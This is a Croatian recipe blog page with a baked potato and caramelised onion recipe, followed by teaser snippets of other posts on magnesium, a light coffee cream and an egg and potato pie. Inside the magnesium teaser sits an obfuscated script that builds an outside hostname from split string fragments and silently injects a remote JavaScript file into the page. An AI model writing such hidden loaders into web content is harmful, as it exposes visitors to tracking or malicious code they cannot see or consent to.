ZAPEČENI KRUMPIR S LUKOM 🥔





Zapečeni krumpir s lukom 

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>

Ovaj recept dokazuje da su najjednostavniji sastojci često dovoljni za spektakularan rezultat. Jer, uz krumpir i luk, treba vam tek malo začina i nešto strpljenja za koje ćete biti raskošno nagrađeni.




Zapečeni krumpir s lukom 


Sastojci:

  • 4 srednja krumpira za pečenje
  • 1 veliki žuti luk
  • ½ vezice svježeg timijana, plus za posluživanje
  • 1 češanj češnjaka
  • 60 g sira Gruyère
  • 4 žlice maslaca, podijeljeno
  • 1/2 čajne žličice soli, plus još za krumpir
  • 1/2 čajne žličice svježe mljevenog crnog papra, plus za krumpir
  • 1 žlica brašna
  • 240 ml goveđeg temeljca
  • 1/2 čajne žličice balzamičnog octa



Priprema:

  1. Postavite jednu rešetku na sredinu pećnice, a drugu na razinu iznad.
  2. Zagrijte pećnicu na 200 stupnjeva.
  3. Operite krumpire, a zatim u svaki krumpir urežite križ dubok oko pola centimetra, a dug oko centimetar i pol. Stavite krumpire prerezanom stranom prema gore direktno na srednju rešetku pećnice. Pecite dok ne postanu vrlo hrskavi, oko 2 sata.
  4. Kada krumpiru preostane oko 30 minuta, prepolovite i tanko narežite luk. Odvojite 1 žlicu listova timijana i nasjeckajte 1 češanj češnjaka. Krupno naribajte 60 g sira Gruyère.
  5. U tavi od lijevanog željeza promjera 30 cm na srednje jakoj vatri otopite 2 žlice maslaca. Dodajte luk, timijan, pola čajne žličice soli i pola čajen žličice papra. Pirjajte, često miješajući, dok se luk ne reducira za više od pola, ne postane vrlo mekan i taman, 25 do 30 minuta.
  6. Dodajte češnjak i 1 žlicu brašna i miješajte dok ne počne smeđiti, oko 1 minutu. Dodajte 1 šalicu goveđeg temeljca i sastružite sve komadiće s dna tave. Pojačajte vatru na srednju i zakuhajte. Kuhajte dok se umak ne zgusne, oko 3 minute.
  7. Maknite tavu s vatre. Dodajte 1/2 čajne žličic octa i promiješajte. Kušajte i začinite s još soli i crnog papra po potrebi.
  8. Pažljivo izvadite krumpir iz pećnice hvataljkama i stavite ga na lim za pečenje. Pažljivo zarežite dublje rezove koje ste prvobitno napravili.
  9. Vratite krumpire na donju rešetku pećnice i pecite još 10 minuta. Izvadite ih iz pećnice. Gurnite dva suprotna kraja svakog krumpira jedan prema drugome kako bi se otvorili. Preostale 2 žlice neslanog maslaca narežite na 4 dijela i ugurajte po jedan komad u svaki krumpir te ih posolite i popaprite.
  10. Ravnomjerno rasporedite smjesu luka u krumpire i ravnomjerno pospite sirom.
  11. Prebacite lim za pečenje na gornju rešetku i pecite dok se sir ne otopi, 3 do 4 minute. Po želji ukrasite s još svježih listova timijana.


Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više